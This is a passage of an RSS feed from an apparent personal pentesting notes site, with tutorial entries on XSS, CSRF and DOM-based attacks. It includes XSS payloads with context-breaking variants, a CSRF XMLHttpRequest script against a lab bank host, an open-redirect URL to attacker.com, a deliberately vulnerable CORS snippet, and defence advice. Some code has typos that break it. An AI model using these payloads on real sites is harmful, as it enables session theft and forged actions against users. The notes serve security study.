&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;const&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;name&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;new&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;URLSearchParams&lt;/span&gt;(window.&lt;span style="color:#a6e22e"&gt;location&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;search&lt;/span&gt;).&lt;span style="color:#a6e22e"&gt;get&lt;/span&gt;(&lt;span style="color:#e6db74"&gt;&amp;#39;name&amp;#39;&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;// We can fix it by escaping the user input to prevent the XSS attacks
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;// name = encodeURIComponent(name);
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;const&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;greeting&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; document.&lt;span style="color:#a6e22e"&gt;getElementById&lt;/span&gt;(&lt;span style="color:#e6db74"&gt;&amp;#34;greeting&amp;#34;&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;// Instead of using innerHTML, we can just use textContent, which will not execute the user input
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;// greeting.textContent = &amp;#34;Hello, &amp;#34; + name;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;greeting&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;innerHTML&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;Hello, &amp;#34;&lt;/span&gt; &lt;span style="color:#f92672"&gt;+&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;name&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &amp;lt;/&lt;span style="color:#f92672"&gt;script&lt;/span&gt;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&amp;lt;/&lt;span style="color:#f92672"&gt;body&lt;/span&gt;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&amp;lt;/&lt;span style="color:#f92672"&gt;html&lt;/span&gt;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="context-and-evasion"&gt;Context and Evasion&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Injected payload will most likely find its way within one of the following:
&lt;ul&gt;
&lt;li&gt;Between HTML tags&lt;/li&gt;
&lt;li&gt;Within HTML tags&lt;/li&gt;
&lt;li&gt;Inside of JavaScript&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;When XSS happens between the tags, the attacker can run &lt;code&gt;&amp;lt;script&amp;gt;alert(document.cookie)&amp;lt;/script&amp;gt;&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;However, when injection is within an HTML tag, we need to end the HTML tag to give the script a turn to load. Consequently, we might adapt our payload to &lt;code&gt;&amp;gt;&amp;lt;script&amp;gt;alert(document.cookies)&amp;lt;/script&amp;gt;&lt;/code&gt; or &lt;code&gt;&amp;quot;&amp;gt;&amp;lt;script&amp;gt;alert(document.cookies)&amp;lt;/script&amp;gt;&lt;/code&gt; or something similar that would fit the context.&lt;/li&gt;
&lt;li&gt;We might need to terminate the script to run the injected one if we can inject our XSS within existing javascript. For instance, we can start with &lt;code&gt;&amp;lt;/script&amp;gt;&lt;/code&gt; to terminate the existing script and then inject our own script. If your code is within a javascript string, you can close string with &lt;code&gt;'&lt;/code&gt;, to complete the command with a semicolon, execute your command, and comment out the rest of the line with &lt;code&gt;//&lt;/code&gt;. You can try something like this &lt;code&gt;';alert(document.cookies)//&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="evasion"&gt;Evasion&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Various repositories can be consulted to build ou custom XSS payloads. This gives you plenty of room for experimentation. One such list is the &lt;a href="https://github.com/payloadbox/xss-payload-list"&gt;XSS Payloads list&lt;/a&gt;&lt;/p&gt;</description></item><item><title>Cross Site Request Forgery (CSRF)</title><link>https://silent-resistor.github.io/resources/web-app-pentesting/cross-site-request-forgery/</link><pubDate>Fri, 27 Feb 2026 00:00:00 +0000</pubDate><guid>https://silent-resistor.github.io/resources/web-app-pentesting/cross-site-request-forgery/</guid><description>&lt;h2 id="introduction"&gt;Introduction&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;CSRF is a type of security vulnerability where an attacker tricks a user&amp;rsquo;s web browser into performing an unwanted action on a trusted site where the user is authenticated.&lt;/li&gt;
&lt;li&gt;This is achieved by exploiting the fact that the browser includes any relevant cookies (credentials) automatically, allowing the attacker to forge and submit unauthorised requests on behalf of the user (through the browser).&lt;/li&gt;
&lt;li&gt;The attacker&amp;rsquo;s website may contain HTML forms or JavaScript code that is intended to send queries to the targeted web application.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="cycle-of-csrf"&gt;Cycle of CSRF&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;A CSRF has three essential phases:
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Phase:1&lt;/strong&gt; attacker already knows the format of web application&amp;rsquo;s requests to carry out a particular task and sends a malicious link to the user.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Phase:2&lt;/strong&gt; The victim&amp;rsquo;s identity on the website is verified, typically by cookies transmitted automatically with each domain request and clicks on link shared by attacker. This interaction could be a click, mouse over, or any other action.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Phase:3&lt;/strong&gt; Insufficient security measures prevent web application from distiguishing between authorized and unauthorized requests, leading to the execution of the attacker&amp;rsquo;s malicious request.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="effects-of-csrf"&gt;Effects of CSRf&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Risks associated with the CSRF include:&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Unauthorized access:&lt;/strong&gt; Access and control user&amp;rsquo;s actions, putting them at risk of losing money, damaging their reputation, and facing legal consequences.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Exploit Trust:&lt;/strong&gt; CSRF exploits the trust websites put in their users, undermining the sense of security in online browsing.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Stealthy Exploitation:&lt;/strong&gt; It works queitly, using standard browser behaviour without needing adavanced malware. Users might be unaware of the attack, making them susceptible to repeated exploitation.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="type-of-csrf"&gt;Type of CSRF&lt;/h2&gt;
&lt;h3 id="traditional-csrf"&gt;Traditional CSRF&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Conventional CSRF attacks frequently concentrate on state-changing actions carried out by submitting forms.&lt;/li&gt;
&lt;li&gt;The victim is tricked into submitting a form without realising the associated data like cookies, URL parameters etc&lt;/li&gt;
&lt;li&gt;The victim&amp;rsquo;s web browser sends http request to a web application from where the victim has already been authenticated.&lt;/li&gt;
&lt;li&gt;These forms are made to transfer money, modify account information, or alter an email address.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="xmlhttprequest-csrf"&gt;XMLHttpRequest CSRF&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;An asynchronus CSRF exploitation occurs when operations are intiated without a complete page request-response cycle.&lt;/li&gt;
&lt;li&gt;This is typical of contemporary online apps that leverage asynchronous server communication (via XMLHttpRequest or Fetch API) and JavaScript to produce more dynamic user interfaces.&lt;/li&gt;
&lt;li&gt;These attack use asynchronus calls instead of the more conventional form submision. Still, they exploit the same trust relationship between the user and the online service.&lt;/li&gt;
&lt;li&gt;Consider an online email client, for instance, where users may change their email preferences without reloading the page. If this online application is CSRF-vulnerable, a hacker might create a fake asynchronous HTTP request, usually a POST request, and alter the victim&amp;rsquo;s email preferences, forwarding all their correspondence to a malicious address.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="flash-based-csrf"&gt;Flash based CSRF&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;The term &amp;ldquo;Flash-based CSRF&amp;rdquo; describes the technique of conducting a CSRF attack by taking advantage of flaws in Adobe Flash Player components.&lt;/li&gt;
&lt;li&gt;Internet applications with features like interactive content, video streaming, and intricate animationsflash based csrf have been made possible with Flash. But over time, security flaws in Flash, particularly those that can be used to launch CSRF attacks, have become a major source of worry.&lt;/li&gt;
&lt;li&gt;As HTML5 technology advanced and security flaws multiplied, official support for Adobe Flash Player ceased on December 31, 2020.&lt;/li&gt;
&lt;li&gt;Even though Flash is no longer supported, a talk about Flash-based cross-site request forgery threats is instructive, particularly for legacy systems that still rely on antiquated technologies.&lt;/li&gt;
&lt;li&gt;A malicious Flash file (.swf) posted on the attacker&amp;rsquo;s website would typically send unauthorised requests to other websites to carry out Flash-based CSRF attacks.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="basic-csrf---hidden-linkimage-exploitation"&gt;Basic CSRF - Hidden Link/Image Exploitation&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;A covert technique known as hidden link/image exploitation in CSRF involves an attacker inserting a 0x0 pixel image or a link into a webpage that is nearly undetectable to the user.&lt;/li&gt;
&lt;li&gt;Typically, the &lt;code&gt;src&lt;/code&gt; or &lt;code&gt;href&lt;/code&gt; element of the image is set to a destination URL intended to act on the user&amp;rsquo;s behalf without the user&amp;rsquo;s awareness. It takes benefit of the fact that the user&amp;rsquo;s browser transfers credentials like cookies automatically.
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-html" data-lang="html"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;&amp;lt;!-- Website --&amp;gt;&lt;/span&gt; 
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&amp;lt;&lt;span style="color:#f92672"&gt;a&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;href&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;https://mybank.thm/transfer.php&amp;#34;&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;target&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;_blank&amp;#34;&lt;/span&gt;&amp;gt;Click Here&amp;lt;/&lt;span style="color:#f92672"&gt;a&lt;/span&gt;&amp;gt; 
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;&amp;lt;!-- User visits attacker&amp;#39;s website while authenticated --&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="double-submit-cookie-bypass"&gt;Double Submit Cookie Bypass&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;A CSRF token is a unique, unpredictable value associated with a user&amp;rsquo;s session, ensuring each request comes from a legitimate source.&lt;/li&gt;
&lt;li&gt;One effective implementation is the &lt;strong&gt;Double Submit Cookies technique&lt;/strong&gt;, where a cookie value corresponds to a value in a hidden form field. When the server receives a request, it checks that the cookie value matches the form field value, providing an additional layer of verification.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="how-it-works"&gt;How it works?&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Token Generation:&lt;/strong&gt; When a user logs in or initiates a session, the server generates a unique CSRF token. This token is sent to the user&amp;rsquo;s browser both as a cookie (CSRF-Token cookie) and embedded in hidden form fields of web forms where actions are performed (like money transfers).&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;User Action:&lt;/strong&gt; Suppose the user wants to transfer money. The user fills out the transfer form on the website, which includes the hidden CSRF token.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Form Submission:&lt;/strong&gt; Upon submitting the form, two versions of the CSRF token are sent to the server: one in the cookie and the other as part of the form data.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Server Validation:&lt;/strong&gt; The server then checks if the CSRF token in the cookie matches the one sent in the form data. If they match, the request is considered legitimate and processed; if not, the request is rejected.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="possible-vulnerable-scenarios"&gt;Possible vulnerable scenarios&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Despite its effectiveness, it&amp;rsquo;s crucial to acknowledge that hackers are persistent and have identified various methods to bypass Double Submit Cookies:
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Session Cookie Hijacking (Man in the Middle Attack):&lt;/strong&gt; If the CSRF token is not appropriately isolated and safeguarded from the session, an attacker may also be able to access it by other means (such as malware, network spying, etc.).&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Subverting the Same-Origin Policy (Attacker Controlled Subdomain):&lt;/strong&gt; An attacker can set up a situation where the browser&amp;rsquo;s same-origin policy is broken. Browser vulnerabilities or deceiving the user into sending a request through an attacker-controlled subdomain with permission to set cookies for its parent domain could be used.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Exploiting XSS Vulnerabilities:&lt;/strong&gt; An attacker may be able to obtain the CSRF token from the cookie or the page itself if the web application is susceptible to Cross-Site Scripting (XSS). By creating fraudulent requests with the double-submitted cookie CSRF token, the attacker can get around the defence once they have the CSRF token.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Predicting or Interfering with Token Generation:&lt;/strong&gt; An attacker may be able to guess or modify the CSRF token if the tokens are not generated securely and are predictable or if they can tamper with the token generation process.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Subdomain Cookie Injection:&lt;/strong&gt; Injecting cookies into a user&amp;rsquo;s browser from a related subdomain is another potentially sophisticated technique that might be used. This could fool the server&amp;rsquo;s CSRF protection system by appearing authentic to the main domain.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="samesite-cookie-bypass"&gt;Samesite Cookie Bypass&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Samesite cookies come with a special attribute designed to control when they are sent along with cross-site requests.&lt;/li&gt;
&lt;li&gt;Its implementation is reliable safeguard against cross origin data leaks, CSRF, and XSS attacks.&lt;/li&gt;
&lt;li&gt;Depending on the request&amp;rsquo;s context, it tells the browser to transmit the cookie.&lt;/li&gt;
&lt;li&gt;Strict, Lax and None are the three possible values for the Samesite attribute.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="type-of-samesite-cookies"&gt;Type of Samesite Cookies&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Lax:&lt;/strong&gt; Provide moderate level protection by allowing cookies to be sent in top-level navigation and safe HTTP methods like GET, HEAD, and OPTIONS. This means that cookies will be not sent with cross-origin POST requests, helping to mitigate certain type of CSRF attacks. However, cookies are still included in GET requests intiated by external websites, which may pose a security risk if senistive information stored in cookies.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Strict:&lt;/strong&gt; Provide highest level of protection by ensuring cookies are never sent with cross-origin requests, including GET requests intiated by external websites. This makes it more secure but may impact functionality if not implemented carefully.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;None:&lt;/strong&gt; Provide no protection and allow cookies to be sent with all cross-origin requests, including GET requests intiated by external websites. This is the least secure option and should be used with caution.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="lax-with-post---chaining-the-exploit"&gt;Lax with POST - Chaining the Exploit&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;As a pentester, it is important to check the cookies being set by website.&lt;/li&gt;
&lt;li&gt;When the SameSite attribute was introduced to increase web security by restricting how cookies are sent in cross-site requests, chrome and other browsers did not enforce a default behavior for cookies without a specified samesite attribute. This meant developers had to explicitly set the &lt;code&gt;SameSite=None&lt;/code&gt; to allow cookies to be sent with cross-origin requests.&lt;/li&gt;
&lt;li&gt;However, Chrome has changed its behavior to enforce &lt;code&gt;SameSite=Lax&lt;/code&gt; as default setting, allwing cookies to be sent in a first party context and with top level navigation GET requests, but not with cross-origin requests.&lt;/li&gt;
&lt;li&gt;Chrome also said &amp;ldquo;It will make an exception for cookies set without a SameSite attribute less than 2 minutes ago. Such cookies will also be sent with POST top-level cross site requests despite a normal &lt;code&gt;SameSite=Lax&lt;/code&gt; cookies requiring top-level cross-site requests to hava a GET method.&amp;rdquo;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="few-additional-exploitation-techniques"&gt;Few Additional Exploitation Techniques&lt;/h2&gt;
&lt;h3 id="xmlhttprequest-exploitation"&gt;XMLHTTPRequest Exploitation&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;In the context of an AJAX request, CSRF is like someone making your web browser unknowigly send a request to a website where you have logged in. It&amp;rsquo;s as if someone tricked your browser into doing something on a trusted site without your awareness, potentially causing uninteded actions or changes in your account. CSRF attacks can still succeded even when AJAX requests are subjected to the &lt;code&gt;Seme-ORigin-Policy (SOP)&lt;/code&gt;, which trypically forbids cross-origin requests.&lt;/li&gt;
&lt;li&gt;Here is the example of how an attacker can update a password of &lt;code&gt;mybank.thm&lt;/code&gt; and send an asynchronus request to update the email seamlessly.&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-html" data-lang="html"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&amp;lt;&lt;span style="color:#f92672"&gt;script&lt;/span&gt;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; var xhr = new XMLHttpRequest();
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; xhr.open(&amp;#34;POST&amp;#34;, &amp;#34;http://mybank.thm/updatepassword.php&amp;#34;, true);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; xhr.setRequestHeader(&amp;#34;X-Requestsed-With&amp;#34;, &amp;#34;XMLHttpRequest&amp;#34;);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; xhr.setRequestHeader(&amp;#34;Content-Type&amp;#34;, &amp;#34;application/x-www-form-urlencoded&amp;#34;);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; xhr.onreadystatechang = function() {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; if (xhr.readyState = XMLHttpRequest.DONE &lt;span style="color:#960050;background-color:#1e0010"&gt;&amp;amp;&amp;amp;&lt;/span&gt; xhr.status == 200) {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; alert(&amp;#34;ACtion executed&amp;#34;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; };
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; xhr.send(&amp;#39;actioni=execute&amp;amp;parameter=value&amp;#39;);
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="same-origin-policy-sop-and-cross-origin-resource-shareing-cors-bypass"&gt;Same Origin policy (SOP) and Cross-Origin Resource Shareing (CORS) Bypass&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;CORS and SOP bypass to launch CSRF is like an attacker using to trick to make web browser send requests to different website than the on youre on. Under an appropriate CORS policy, certain requests could only be submitted by recognised origins. However, misconfiguration in CORS policies can allow attackers to circumvent these limitations if they rely on origins that attacker can control or if credentials are included in cross-origins requests.&lt;/li&gt;
&lt;li&gt;Below is simple PHP server side script that handles POST requests. It has a vulnerable CORS configuration, allowing requests from any origin, and thus is vulnerable CSRF since it doesnt implement anti CSRF-measures.&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-php" data-lang="php"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;&amp;lt;?&lt;/span&gt;&lt;span style="color:#a6e22e"&gt;php&lt;/span&gt; &lt;span style="color:#75715e"&gt;// Server-side code (PHP)
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;header&lt;/span&gt;(&lt;span style="color:#e6db74"&gt;&amp;#39;Access-Control-Allow-Origin: *&amp;#39;&lt;/span&gt;); 
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;// Allow requests from any origin (vulnerable CORS configuration) .
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;// code to update email address ?&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="referer-header-bypass"&gt;Referer Header Bypass&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;When making an HTTP request, the referer header contains the URL of the last page the user visited before making the current requests. Some websites guard against CSRF by only allowing queries if the referer header matches the domain. The utility of this as a stand-alone CSRF protection solution is reduced when this header may be changed or eliminated, as happens with user-installed browser extensions, privacy tools, or meta tags that instruct the browser to omit the referer.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="defence-machanisms"&gt;Defence machanisms&lt;/h2&gt;
&lt;h3 id="for-pentesters-red-teamers"&gt;For pentesters/ Red Teamers&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;CSRF Testing:&lt;/strong&gt; activerly test application for CSRF vulnerabilities by attempting to execute unauthorized actions through manipulated requests and assess the effectiveness of implemented protections.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Boundary Validaton:&lt;/strong&gt; Evaluate application&amp;rsquo;s validation mechanisms, ensuring that user inputs are appropriately validated and anti-csrf tokens are present.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Security Headers Analysis:&lt;/strong&gt; Assess the presence and effectiveness of security headers, such as CORS, and Refere, to enhance the overall security and prevent various attack vectors, including CSRF.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Session Management TEsting:&lt;/strong&gt; Examine the application&amp;rsquo;s session management mechanisms, ensuring that sessions tokens are securely generated, transmitted, and validated to prevvent unauthorized access and actions.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="secure-coders"&gt;Secure Coders&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Integrate &lt;strong&gt;anti-csrf tokens&lt;/strong&gt; into each form or requests.&lt;/li&gt;
&lt;li&gt;Set &lt;strong&gt;samesite attribute&lt;/strong&gt; on cookies to &lt;strong&gt;Strict&lt;/strong&gt; or &lt;strong&gt;Lax&lt;/strong&gt; to control when cookies are sent with cross-site requests, minimising the risk of CSRF by resticting the cookie behaviour.&lt;/li&gt;
&lt;li&gt;Implement a &lt;strong&gt;Strict Referer policy&lt;/strong&gt;, limiting the information disclosed in the referer header and ensuring that requests come from the trusted sources, there by preventing cross-site requests.&lt;/li&gt;
&lt;li&gt;Implement a secure double- submit cookie pattern, where an anti-csrf is stored both in a cookie and as a request parameters.&lt;/li&gt;
&lt;li&gt;Secure DEvelopers can implement CAPTCHAS challanges as an additional layer of defence against CSRF attacks especially in the user authentication, form submissions, and account creation processes.&lt;/li&gt;
&lt;/ul&gt;</description></item><item><title>DOM based Attacks</title><link>https://silent-resistor.github.io/resources/web-app-pentesting/dom-based-attacks/</link><pubDate>Wed, 04 Mar 2026 00:00:00 +0000</pubDate><guid>https://silent-resistor.github.io/resources/web-app-pentesting/dom-based-attacks/</guid><description>&lt;h2 id="dom-based-attacks-intro"&gt;DOM-Based Attacks intro&lt;/h2&gt;
&lt;h3 id="the-blind-server-side"&gt;The Blind server-side&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;While there are many different DOM-based attacks, all of them can be summarised by insufficiently validating and sanitising user input before using it in javascript, which will alter the DOM. In modern web application, developers will implement functions that alter the DOM without making any new requestss to weg server or API. For example:
&lt;ul&gt;
&lt;li&gt;A user clicks a tab in the navigation pane, As the data on this tab has already been loaded through API requests, the user navigaed to new tab by altering the DOM to set which tab is visible.&lt;/li&gt;
&lt;li&gt;A user filters results shown in the table. As all results have already been loaded, through javascript the existing dataset is reduced and reloaded into the DOM to be displayed to the user.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="the-source-and-the-sink"&gt;The source and the sink&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;As mentioned before, all DOM-based attacks start with untrusted user input making its way to javascript that modifies the DOM.&lt;/li&gt;
&lt;li&gt;To simplify the detection of these issues, we refer to them as sources and sinks. A source is the location where untrusted data is provided by user to javascript function, and the sink is the location where the data is used in the javascript to update the DOM.&lt;/li&gt;
&lt;li&gt;If there is no sanitisation or validation performed on data between the source and sink, it can lead to DOM-based attack.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="dom-based-open-redirection"&gt;DOM-based Open Redirection&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Let&amp;rsquo;s say that frontend developers are using information from the &lt;code&gt;#&lt;/code&gt; value to determine the location of navigation for the webapplication. This can lead to a DOM-based open redirect. lets have a look at an example:&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-js" data-lang="js"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;goto&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;location&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;hash&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;slice&lt;/span&gt;(&lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;) &lt;span style="color:#66d9ef"&gt;if&lt;/span&gt; (&lt;span style="color:#66d9ef"&gt;goto&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;startwith&lt;/span&gt;(&lt;span style="color:#e6db74"&gt;&amp;#39;https:&amp;#39;&lt;/span&gt;)) { &lt;span style="color:#a6e22e"&gt;location&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;goto&lt;/span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;ul&gt;
&lt;li&gt;The source in this case is the &lt;code&gt;location.hash.slice(1)&lt;/code&gt; parameter which will take first &lt;code&gt;#&lt;/code&gt; element in the URL. without sanitisation, this value is directly set in the &lt;code&gt;location&lt;/code&gt; of the DOM, which is the sink. We can construct the URL like &lt;code&gt;https://realwebsite.com/#https://attacker.com&lt;/code&gt; to exploit this issue.&lt;/li&gt;
&lt;li&gt;Once the DOM loads, the js will recover the &lt;code&gt;#&lt;/code&gt; value of above URL and set it as the &lt;code&gt;location&lt;/code&gt; of the DOM, which will redirect the user to the attacker&amp;rsquo;s website.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="dom-based-xss"&gt;DOM Based XSS&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;It allows attackers to inject js code in the DOM and take full control of the browser.&lt;/li&gt;
&lt;li&gt;The most common source of this attack is the URL, and more specifically, URL fragments, which are passed through &lt;code&gt;window.location&lt;/code&gt; source. This is because we have the ability to craft a link with malicious fragments to send to users.&lt;/li&gt;
&lt;li&gt;In most of cases, fragments are not interpreted by the web server but reflected in the response, leading to DOM-based XSS.&lt;/li&gt;
&lt;li&gt;However, it should be noted that most modern browsers will perform URL encoding on the data, which can prevent the attack. This has lead to a decrease in the prevalence of these types of attack through URL as source.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="dom-based-xss-via-jquery"&gt;DOM-based XSS via JQuery&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Continuing with our web page location example, lets take the following jquery example to navigate the page to last viewed location.&lt;/li&gt;
&lt;/ul&gt;
